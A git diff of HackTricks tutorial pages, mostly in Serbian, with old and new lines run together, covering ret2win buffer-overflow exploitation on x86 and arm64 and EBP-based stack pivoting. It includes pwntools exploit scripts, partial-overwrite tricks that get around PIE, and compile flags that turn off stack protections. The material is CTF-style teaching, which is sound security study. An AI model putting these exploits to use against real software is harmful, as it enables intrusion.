#include <string.h> #include <string.h>
@ -43,15 +44,15 @@ Da biste kompajlirali ovaj program bez zaštite steka i sa **ASLR** onemogućeni
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
* `-m32`: Kompajliraj program kao 32-bitni binarni fajl (ovo je opcionalno ali često se koristi u CTF izazovima). * `-m32`: Kompajlirajte program kao 32-bitni binarni fajl (ovo je opcionalno, ali uobičajeno u CTF izazovima).
* `-fno-stack-protector`: Onemogući zaštitu od preplavljivanja steka. * `-fno-stack-protector`: Onemogućite zaštitu od prelivanja steka.
* `-z execstack`: Dozvoli izvršavanje koda na steku. * `-z execstack`: Dozvolite izvršavanje koda na steku.
* `-no-pie`: Onemogući izvršavanje nezavisno od pozicije kako bi se osiguralo da adresa funkcije `win` ne promeni. * `-no-pie`: Onemogućite poziciono nezavisne izvršne fajlove kako biste osigurali da se adresa funkcije `win` ne menja.
* `-o vulnerable`: Nazovi izlazni fajl `vulnerable`. * `-o vulnerable`: Imenovati izlazni fajl `vulnerable`.
### Python Eksploatacija korišćenjem Pwntools ### Python Exploit koristeći Pwntools
Za eksploataciju, koristićemo **pwntools**, moćan CTF okvir za pisanje eksploata. Skripta za eksploataciju će kreirati payload za preplavljivanje bafera i prepisati povratnu adresu sa adresom funkcije `win`. Za exploit, koristićemo **pwntools**, moćan CTF okvir za pisanje eksploitacija. Skripta za exploit će kreirati payload za prelivanje bafera i prepisivanje adrese povratka sa adresom funkcije `win`.
```python ```python
from pwn import * from pwn import *
@ -71,61 +72,62 @@ payload = b'A' * 68 + win_addr
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
Da biste pronašli adresu funkcije `win`, možete koristiti **gdb**, **objdump**, ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa `objdump`-om, možete koristiti: Da biste pronašli adresu `win` funkcije, možete koristiti **gdb**, **objdump** ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa `objdump`, mogli biste koristiti:
```sh ```sh
objdump -d vulnerable | grep win objdump -d vulnerable | grep win
``` ```
Ova komanda će vam prikazati sklop `win` funkcije, uključujući njenu početnu adresu. Ova komanda će vam prikazati asembler funkcije `win`, uključujući njenu početnu adresu.&#x20;
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od strane `vulnerable_function`, preplavljuje bafer i prepisuje adresu povratka na steku adresom `win`. Kada `vulnerable_function` završi, umesto vraćanja na `main` ili izlaska, prelazi na `win`, i poruka se ispisuje. Python skripta šalje pažljivo oblikovanu poruku koja, kada je obradi `vulnerable_function`, preplavi bafer i prepisuje adresu povratka na steku sa adresom `win`. Kada `vulnerable_function` vrati, umesto da se vrati na `main` ili izađe, skače na `win`, i poruka se ispisuje.
## Zaštite ## Zaštite
* **PIE** treba biti onemogućen da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i trebaće vam neko curenje informacija da biste saznali gde je smeštena win funkcija. U nekim slučajevima, kada funkcija koja uzrokuje preplavljivanje je `read` ili slična, možete izvršiti **Delimično prepisivanje** od 1 ili 2 bajta da biste promenili adresu povratka da bude win funkcija. Zbog toga kako ASLR funkcioniše, poslednje tri heksadecimalne cifre nisu nasumične, tako da postoji **1/16 šansa** (1 heksadecimalna cifra) da dobijete ispravnu adresu povratka. * [**PIE**](../../common-binary-protections-and-bypasses/pie/) **treba da bude onemogućena** kako bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje je `read` ili slična, možete izvršiti **Delimično Prepisivanje** od 1 ili 2 bajta da promenite adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji **1/16 šanse** (1 nibble) da dobijete ispravnu adresu povratka.
* **Stack Canaries** takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena. * [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućene ili kompromitovana EIP adresa povratka nikada neće biti praćena.
## Ostali primeri i Reference ## Ostali primeri & Reference
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) * [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html) * [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32 bit, bez ASLR-a * 32bit, bez ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 bita sa ASLR-om, sa curenjem bin adrese * 64 bita sa ASLR, sa leak-om adrese bin
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bita, bez ASLR-a * 64 bita, bez ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 bita, bez ASLR-a, dvostruko malo preplavljivanje, prvo da preplavi stek i poveća veličinu drugog preplavljivanja * 32 bita, bez ASLR, dvostruko malo prelivanje, prvo da preplavi stek i poveća veličinu drugog prelivanja
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bita, relro, bez canary-a, nx, bez pie-a, formatiranje stringa za prepisivanje adrese `fflush` sa win funkcijom (ret2win) * 32 bita, relro, bez kanarinca, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html) * [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 bita, nx, ništa drugo, delimično prepisivanje EIP-a (1 bajt) da bi se pozvala win funkcija * 32 bita, nx, ništa drugo, delimično prepisivanje EIP (1Byte) da pozove funkciju win
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html) * [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32 bita, nx, ništa drugo, delimično prepisivanje EIP-a (1 bajt) da bi se pozvala win funkcija * 32 bita, nx, ništa drugo, delimično prepisivanje EIP (1Byte) da pozove funkciju win
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html) * [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Program samo validira poslednji bajt broja da proveri veličinu unosa, stoga je moguće dodati bilo koju veličinu sve dok je poslednji bajt unutar dozvoljenog opsega. Zatim, unos stvara preplavljivanje bafera koje se eksploatiše sa ret2win. * Program samo validira poslednji bajt broja da proveri veličinu ulaza, stoga je moguće dodati bilo koju veličinu sve dok je poslednji bajt unutar dozvoljenog opsega. Tada, ulaz stvara prelivanje bafera koje se eksploatiše sa ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) * [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 bita, relro, bez canary-a, nx, pie. Delimično prepisivanje da bi se pozvala win funkcija (ret2win) * 64 bita, relro, bez kanarinca, nx, pie. Delimično prepisivanje da pozove funkciju win (ret2win)
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
* arm64, PIE, daje PIE curenje win funkcije koja zapravo ima 2 funkcije pa ROP gedžet koji poziva 2 funkcije * arm64, PIE, daje PIE leak funkcija win je zapravo 2 funkcije tako da ROP gadget koji poziva 2 funkcije
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
* ARM64, off-by-one da pozove win funkciju * ARM64, off-by-one da pozove funkciju win
## Primer za ARM64 ## ARM64 Primer
{% content-ref url="ret2win-arm64.md" %} {% content-ref url="ret2win-arm64.md" %}
[ret2win-arm64.md](ret2win-arm64.md) [ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ret2win - arm64 # Ret2win - arm64
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
Pronađite uvod u arm64 u: Pronađite uvod u arm64 u:
@ -39,17 +40,17 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
Kompajlirajte bez PIE-a i canary-ja: Kompajlirajte bez pie i kanarinca:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
``` ```
## Pronalaženje odstupanja ## Pronalaženje ofseta
### Opcija obrasca ### Opcija obrasca
Ovaj primer je kreiran korišćenjem [**GEF**](https://github.com/bata24/gef): Ovaj primer je napravljen koristeći [**GEF**](https://github.com/bata24/gef):
Pokrenite gdb sa gef-om, kreirajte obrazac i koristite ga: Pokrenite gdb sa gef, kreirajte obrazac i koristite ga:
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
pattern create 200 pattern create 200
@ -57,17 +58,17 @@ run
``` ```
<figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo koristiti to da bismo pronašli offset obrasca: arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo to iskoristiti da pronađemo pomeraj obrasca:
```bash ```bash
pattern search $x30 pattern search $x30
``` ```
<figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure>
**Pomeraj je 72 (9x48).** **Pomak je 72 (9x48).**
### Opcija pomeraja steka ### Opcija pomaka steka
Počnite tako što ćete dobiti adresu steka gde je smešten registar pc: Počnite tako što ćete dobiti adresu steka gde je sačuvan pc registar:
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
b *vulnerable_function + 0xc b *vulnerable_function + 0xc
@ -76,7 +77,7 @@ info frame
``` ```
<figure><img src="../../../.gitbook/assets/image (1207).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1207).png" alt=""><figcaption></figcaption></figure>
Sada postavite prekidnu tačku nakon `read()` i nastavite dok se ne izvrši `read()` i postavite obrazac poput 13371337: Sada postavite tačku prekida nakon `read()` i nastavite dok se `read()` ne izvrši i postavite obrazac kao što je 13371337:
``` ```
b *vulnerable_function+28 b *vulnerable_function+28
c c
@ -91,17 +92,17 @@ Zatim: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="339"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## Bez PIE-a ## Bez PIE
### Redovno ### Regularno
Dobijte adresu funkcije **`win`**: Dobijte adresu **`win`** funkcije:
```bash ```bash
objdump -d ret2win | grep win objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64 ret2win: file format elf64-littleaarch64
00000000004006c4 <win>: 00000000004006c4 <win>:
``` ```
Eksploatacija: Eksploit:
```python ```python
from pwn import * from pwn import *
@ -125,7 +126,7 @@ p.close()
### Off-by-1 ### Off-by-1
Zapravo, ovo će biti više kao off-by-2 u sačuvanom PC-u na steku. Umesto da prepisujemo sve povratne adrese, prepisaćemo **samo poslednja 2 bajta** sa `0x06c4`. U stvari, ovo će više ličiti na off-by-2 u sačuvanom PC-u u steku. Umesto da prepisujemo celu adresu povratka, prepisujemo **samo poslednja 2 bajta** sa `0x06c4`.
```python ```python
from pwn import * from pwn import *
@ -147,7 +148,7 @@ p.close()
``` ```
<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Možete pronaći još jedan primer off-by-one u ARM64 na [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), koji je stvaran off-by-**one** u izmišljenoj ranjivosti. Možete pronaći još jedan primer off-by-one u ARM64 na [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), koji je pravi off-by-**one** u fiktivnoj ranjivosti.
## Sa PIE ## Sa PIE
@ -157,7 +158,7 @@ Kompajlirajte binarni fajl **bez `-no-pie` argumenta**
### Off-by-2 ### Off-by-2
Bez curenja ne znamo tačnu adresu funkcije za pobedu, ali možemo znati ofset funkcije iz binarnog fajla i znajući da adresa povratka koju prepisujemo već pokazuje ka bliskoj adresi, moguće je procuriti ofset do funkcije za pobedu (**0x7d4**) u ovom slučaju i jednostavno koristiti taj ofset: Bez leak-a ne znamo tačnu adresu pobedničke funkcije, ali možemo znati offset funkcije od binarnog fajla i znajući da adresa povratka koju prepisujemo već pokazuje na blisku adresu, moguće je leak-ovati offset do win funkcije (**0x7d4**) u ovom slučaju i jednostavno koristiti taj offset:
<figure><img src="../../../.gitbook/assets/image (1213).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python ```python
@ -179,16 +180,17 @@ p.send(payload)
print(p.recvline()) print(p.recvline())
p.close() p.close()
``` ```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini da podržite HackTricks: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,74 +1,75 @@
# Stack Pivoting - EBP2Ret - EBP chaining # Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Osnovne informacije ## Osnovne informacije
Ova tehnika iskorišćava mogućnost manipulacije **Base Pointer-a (EBP)** kako bi se lancala izvršenje više funkcija kroz pažljivu upotrebu EBP registra i sekvence instrukcija **`leave; ret`**. Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP)** za povezivanje izvršavanja više funkcija kroz pažljivo korišćenje EBP registra i sekvencu instrukcija **`leave; ret`**.
Kao podsetnik, **`leave`** u osnovi znači: Kao podsetnik, **`leave`** u suštini znači:
``` ```
mov ebp, esp mov ebp, esp
pop ebp pop ebp
ret ret
``` ```
I pošto je **EBP u steku** pre EIP-a moguće je kontrolisati ga kontrolišući stek. And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret ### EBP2Ret
Ova tehnika je posebno korisna kada možete **izmeniti registar EBP ali nemate direktni način da promenite registar EIP**. Iskorišćava ponašanje funkcija kada završe izvršavanje. Ova tehnika je posebno korisna kada možete **promeniti EBP registar, ali nemate direktan način da promenite EIP registar**. Ona koristi ponašanje funkcija kada završe izvršavanje.
Ako tokom izvršavanja `fvuln` uspete da ubacite **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shell koda (plus 4 bajta da se uzme u obzir operacija `pop`), možete indirektno kontrolisati EIP. Kako `fvuln` završava, ESP je postavljen na ovu izrađenu lokaciju, a naknadna `pop` operacija smanjuje ESP za 4 bajta, **efektivno ga usmeravajući na adresu koju je napadač tamo sačuvao.**\ Ako, tokom izvršavanja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir `pop` operacija), možete indirektno kontrolisati EIP. Kada `fvuln` vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna `pop` operacija smanjuje ESP za 4, **efektivno ga usmeravajući na adresu koju je napadač sačuvao tamo.**\
Primetite kako **morate znati 2 adrese**: Onu gde će ići ESP, gde ćete morati napisati adresu na koju pokazuje ESP. Obratite pažnju da **morate znati 2 adrese**: onu na koju će ESP ići, gde ćete morati da upišete adresu na koju pokazuje ESP.
#### Konstrukcija eksploatacije #### Exploit Construction
Prvo morate znati **adresu gde možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiti prvi `ret`**. Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiti prvi `ret`**.
Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Mogli biste koristiti: Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Možete koristiti:
* Validnu [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) adresu. * Validnu [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) adresu.
* Adresu **`system()`** praćenu sa **4 smećna bajta** i adresom `"/bin/sh"` (x86 bita). * Adresu **`system()`** praćenu **4 bajta smeća** i adresu `"/bin/sh"` (x86 bitovi).
* Adresu **`jump esp;`** gedžeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu **shell kodom** za izvršavanje. * Adresu **`jump esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu **shellcode-om** koji treba izvršiti.
* Neki [**ROP**](../rop-return-oriented-programing/) lanac * Neki [**ROP**](../rop-return-oriented-programing/) lanac.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, moraju biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće zloupotrebiti ove 4B da se postavi **drugi lažni EBP** i nastavi kontrolisanje izvršavanja. Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće zloupotrebiti ovih 4B da postavite **drugi lažni EBP** i nastavite sa kontrolisanjem izvršavanja.
#### Off-By-One eksploatacija #### Off-By-One Exploit
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One eksploatacija". Koristi se kada možete **samo izmeniti najmanje značajan bajt EBP-a**. U takvom slučaju, lokacija memorije koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožijim uslovima.\ Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete **samo modifikovati najmanje značajan bajt EBP-a**. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožim uslovima.\
Obično se modifikuje bajt 0x00 da bi se skočilo što dalje. Obično se modifikuje bajt 0x00 da skoči što je dalje moguće.
